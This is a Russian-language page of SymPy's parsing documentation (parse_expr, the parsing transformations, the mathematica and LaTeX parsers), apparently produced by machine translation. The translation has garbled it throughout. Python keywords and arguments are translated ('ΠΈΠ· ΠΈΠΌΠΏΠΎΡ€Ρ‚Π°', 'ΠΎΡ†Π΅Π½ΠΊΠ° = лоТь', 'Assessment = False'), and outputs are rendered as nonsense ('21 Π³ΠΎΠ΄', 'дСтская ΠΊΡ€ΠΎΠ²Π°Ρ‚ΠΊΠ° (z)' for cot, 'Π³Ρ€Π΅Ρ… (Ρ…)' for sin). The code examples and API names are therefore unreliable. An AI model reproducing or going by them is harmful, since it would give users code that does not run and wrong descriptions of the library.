    Если ΠΎΡ†Π΅Π½ΠΊΠ° = False, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСскиС упрощСния Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄ΡƒΡ‚:

     >>> parse_expr ("2 ** 3"), parse_expr ("2 ** 3", Assessment = False)
    (8, 2 ** 3)
     

    ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, порядок Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ каноничСским.Π­Ρ‚Π° функция позволяСт Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅:

     >>> a = parse_expr ('1 + x', ΠΎΡ†Π΅Π½ΠΊΠ° = лоТь)
    >>> b = parse_expr ('x + 1', ΠΎΡ†Π΅Π½ΠΊΠ° = 0)
    >>> Π° == Π±
    Π›ΠΎΠΆΡŒ
    >>> a.args
    (1, Ρ…)
    >>> b.args
    (Ρ…, 1)
     
    sympy.parsing.sympy_parser. stringify_expr ( s , local_dict , global_dict , прСобразования ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ строку s Π² ΠΊΠΎΠ΄ Python, Π² local_dict

    ΠžΠ±Ρ‹Ρ‡Π½ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ parse_expr .

    sympy.parsing.sympy_parser. eval_expr ( code , local_dict , global_dict ) [источник]

    ΠžΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ Python, сгСнСрированный stringify_expr .

    ΠžΠ±Ρ‹Ρ‡Π½ΠΎ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ parse_expr .

    sympy.parsing.maxima. parse_maxima ( str , globals = None , name_dict = {} ) [источник]
    sympy.parsing.mathematica. mathematica ( s , additional_translations = None ) [источник]

    ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свой собствСнный ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π°.
    АргумСнт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ символ Β«*Β».

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· sympy.parsing.mathematica import mathematica
    >>> mathematica ('Log3 [9]', {'Log3 [x]': 'log (x, 3)'})
    2
    >>> mathematica ('F [7,5,3]', {'F [* x]': 'Макс (* x) * Мин (* x)'})
    21 Π³ΠΎΠ΄
     

    Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ прСобразованиям синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ - это функция, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ²,
    local_dict, global_dict
    ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ².Они ΠΌΠΎΠ³ΡƒΡ‚
    ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ списка Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² parse_expr () ΠΈ
    примСняСтся Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ порядкС.

    sympy.parsing.sympy_parser. standard_transformations = (<функция lambda_notation>, <функция auto_symbol>, <функция repeat_decimals>, <функция auto_number>, )

    Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹Π΅ прСобразования для parse_expr () .
    ВставляСт Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π² Symbol , Integer ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ SymPy
    Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Π³Ρ€Π°ΠΌΠΌ. Ρ…! ).

    sympy.parsing.sympy_parser. split_symbols ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    РаздСляСт ΠΈΠΌΠ΅Π½Π° символов для нСявного умноТСния.

    ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° Ρ‚Π°ΠΊΠΈΡ… Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ xyz , ΠΊΠ°ΠΊ x * y * z . НС
    Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠΌΠ΅Π½Π° грСчСских символов, поэтому theta Π±ΡƒΠ΄Π΅Ρ‚ , Π° Π½Π΅ станСт
    Ρ‚ * Ρ‡ * Π΄ * Ρ‚ * Π° .ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с
    нСявноС_мноТСниС .

    sympy.parsing.sympy_parser. split_symbols_custom ( ΠΏΡ€Π΅Π΄ΠΈΠΊΠ°Ρ‚ ) [источник]

    Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅ ΠΈΠΌΠ΅Π½Π° символов.

    ΠΏΡ€Π΅Π΄ΠΈΠΊΠ°Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ True, Ссли имя символа Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΎ.

    НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ раздСлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…
    ΠΈΠΌΠ΅Π½Π° символов, Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€Π΅Π΄ΠΈΠΊΠ°Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ:

     >>> ΠΎΡ‚ sympy.parsing.sympy_parser import (parse_expr, _token_splittable,
    ... стандартныС_прСобразования, нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅,
    ... split_symbols_custom)
    >>> def can_split (символ):
    ... Ссли символа Π½Π΅Ρ‚ Π² ('list', 'of', 'unsplittable', 'names'):
    ... Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ _token_splittable (символ)
    ... Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ False
    ...
    >>> ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ = split_symbols_custom (can_split)
    >>> parse_expr ('нСрасщСпляСмый', трансформации = стандартныС_прСобразования +
    ... (ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅))
    Π½Π΅Ρ€Π°Π·Π΄Π΅Π»ΠΈΠΌΡ‹ΠΉ
     
    sympy.parsing.sympy_parser. implicit_multiplication ( Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ , local_dict , global_dict ) [источник]

    Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ умноТСния Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.

    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ это ΠΏΠ΅Ρ€Π΅Π΄ implicit_application () , ΠΈΠ½Π°Ρ‡Π΅ выраТСния Π²Ρ€ΠΎΠ΄Π΅
    sin 2x Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΠΊΠ°ΠΊ x * sin (2) , Π° Π½Π΅ sin (2 * x) .

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° sympy.parsing.sympy_parser (parse_expr,
    ... стандартныС_прСобразования, нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅)
    >>> прСобразования = стандартныС_прСобразования + (нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅,)
    >>> parse_expr ('3 x y', прСобразования = прСобразования)
    3 * Ρ… * Ρƒ
     
    sympy.parsing.sympy_parser. implicit_application ( Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ , local_dict , global_dict ) [источник]

    Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях Π΄Π΅Π»Π°Π΅Ρ‚ скобки Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ для Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.

    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ это послС implicit_multiplication () , ΠΈΠ½Π°Ρ‡Π΅ выраТСния
    Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, sin 2x Π±ΡƒΠ΄Π΅Ρ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ x * sin (2) , Π° Π½Π΅
    Π³Ρ€Π΅Ρ… (2 * Ρ…) .

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° sympy.parsing.sympy_parser (parse_expr,
    ... стандартныС_прСобразования, нСявноС_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅)
    >>> прСобразования = стандартныС_прСобразования + (нСявноС_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,)
    >>> parse_expr ('cot z + csc z', трансформации = трансформации)
    дСтская ΠΊΡ€ΠΎΠ²Π°Ρ‚ΠΊΠ° (z) + csc (z)
     
    sympy.parsing.sympy_parser. function_exponentiation ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π²ΠΎΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ cos ** 2 (x) .

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° sympy.parsing.sympy_parser (parse_expr,
    ... стандартныС_прСобразования, функция_экспонСнциация)
    >>> прСобразования = стандартныС_прСобразования + (функция_экспонСнциация,)
    >>> parse_expr ('sin ** 4 (x)', прСобразования = прСобразования)
    Π³Ρ€Π΅Ρ… (Ρ…) ** 4
     
    sympy.parsing.sympy_parser. implicit_multiplication_application ( Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ , local_dict , global_dict ) [источник]

    ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ синтаксис.

    • Π‘ΠΊΠΎΠ±ΠΊΠΈ для Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² с ΠΎΠ΄Π½ΠΈΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹.

    • Π£ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ нСявноС.

    • ИмСна символов ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ (Ρ‚.Π΅. ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ
      символы).

    • Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½Ρ‹ Π² ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ.

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° sympy.parsing.sympy_parser (parse_expr,
    ... стандартныС_прСобразования, нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅)
    >>> parse_expr ("10sin ** 2 x ** 2 + 3xyz + tan theta",
    ... трансформации = (стандартныС_прСобразования +
    ... (нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,)))
    3 * x * y * z + 10 * sin (x ** 2) ** 2 + tan (Ρ‚Π΅Ρ‚Π°)
     
    sympy.parsing.sympy_parser. Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой Π² Rational ., ΠΊΠ°ΠΊ Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ, ** .

    Они Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π²
    : data: sympy.parsing.sympy_parser.standard_transformations ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅
    Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.

    sympy.parsing.sympy_parser. lambda_notation ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ЗамСняСт «лямбда» Π½Π° Π΅Π³ΠΎ эквивалСнт Π² Sympy Lambda ().Однако ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ «лямбда»
    пСрСдаСтся, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это синтаксичСская ошибка.

    sympy.parsing.sympy_parser. auto_symbol ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ВставляСт Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π‘ΠΈΠΌΠ²ΠΎΠ» / Ѐункция для Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ….

    sympy.parsing.sympy_parser. Repeated_decimals ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ 0,2 [1] ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅Π΅ΡΡ дСсятичноС число 0,2111… (19/90)

    Π—Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ auto_number.

    sympy.parsing.sympy_parser. auto_number ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ числовыС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ для использования эквивалСнтов SymPy.

    ΠšΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½Ρ‹Π΅ числа ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ I , цСлочислСнныС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Integer ΠΈ с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ
    Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Float .

    sympy.parsing.sympy_parser. factorial_notation ( Ρ‚ΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [источник]

    ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС обозначСния для Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ°Π»Π°.

    Π­ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Π½Π°Π»ΠΈΠ· \ (\ mathrm {\ LaTeX} \)

    \ (\ mathrm {\ LaTeX} \) синтаксичСский Π°Π½Π°Π»ΠΈΠ· Π±Ρ‹Π» пСрСнСсСн ΠΈΠ·
    latex2sympy.Π₯отя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ
    ΠΈ Π΅Π³ΠΎ API Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ, ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ»ΠΈ сСрвСрная Ρ‡Π°ΡΡ‚ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π²
    Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ выпуски.

    \ (\ mathrm {\ LaTeX} \) ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅ΠΆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈ синтаксичСском Π°Π½Π°Π»ΠΈΠ·Π΅

    ВСкущая рСализация являСтся ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ. ПовСдСниС, сСрвСрная Ρ‡Π°ΡΡ‚ΡŒ парсСра ΠΈ
    API ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… парсСров, \ (\ mathrm {\ LaTeX} \)
    Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠ°ΠΊ Π½Π°Π±ΠΎΡ€Π½Ρ‹ΠΉ язык , Π° Π½Π΅ систСма ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π°Π»Π³Π΅Π±Ρ€Ρ‹ ΠΈ Ρ‚. Π΄.
    ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ типографскиС условныС обозначСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ.

    Π’ Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ
    Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π½ΠΎ Π½Π΅ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:

    ΠŸΡ€ΠΎΡΡ‚ΠΎ Π½Π°ΠΉΠ΄Π΅Ρ‚ x . Π’ΠΎ, Ρ‡Ρ‚ΠΎ покрываСтся этим ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΏΠΎΡ‡Ρ‚ΠΈ навСрняка
    ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π΅Π»ΠΈΠ·Π°ΠΌΠΈ ΠΈ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π±ΠΎΠ»Π΅Π΅ строгими, расслаблСнными ΠΈΠ»ΠΈ ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹ΠΌΠΈ.

    \ (\ mathrm {\ LaTeX} \) Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ функциям синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°

    sympy.parsing.latex. parse_latex ( s ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ строку s Π² SymPy Expr

    ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹

    с : ΡƒΠ»

    Π‘Ρ‚Ρ€ΠΎΠΊΠ° LaTeX для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°.Π’ исходном ΠΊΠΎΠ΄Π΅ Python, содСрТащСм LaTeX,
    нСобработанная строка (обозначаСтся r ", ΠΊΠ°ΠΊ эта) ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅,
    ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ LaTeX Π»ΠΈΠ±Π΅Ρ€Π°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ символ \ , Ρ‡Ρ‚ΠΎ
    экранированиС Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€Π° Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… строках Python.

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· sympy.parsing.latex import parse_latex
    >>> expr = parse_latex (r "\ frac {1 + \ sqrt {\ a}} {\ b}")
    >>> expr
    (sqrt (a) + 1) / b
    >>> Π²Ρ‹Ρ€.evalf (4, subs = dict (a = 5, b = 2))
    1,618
     

    \ (\ mathrm {\ LaTeX} \) Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΠΌ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°

    класс sympy.parsing.latex. LaTeXParsingError [источник]

    Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ выраТСниям SymPy

    класс sympy.parsing.sym_expr. SymPyExpression ( source_code = None , mode = None ) [источник]

    Класс для хранСния ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ SymPy

    Π­Ρ‚ΠΎΡ‚ класс Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ выраТСния SymPy ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ API для
    ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° Ρ€Π°Π·Π½Ρ‹Π΅ языки ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.

    Он Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с C ΠΈ парсСром Fortran для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ SymPy.
    ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся здСсь ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Ρ‹ Π² многоязычныС
    исходный ΠΊΠΎΠ΄.

    Π‘Π°Π½ΠΊΠ½ΠΎΡ‚Ρ‹

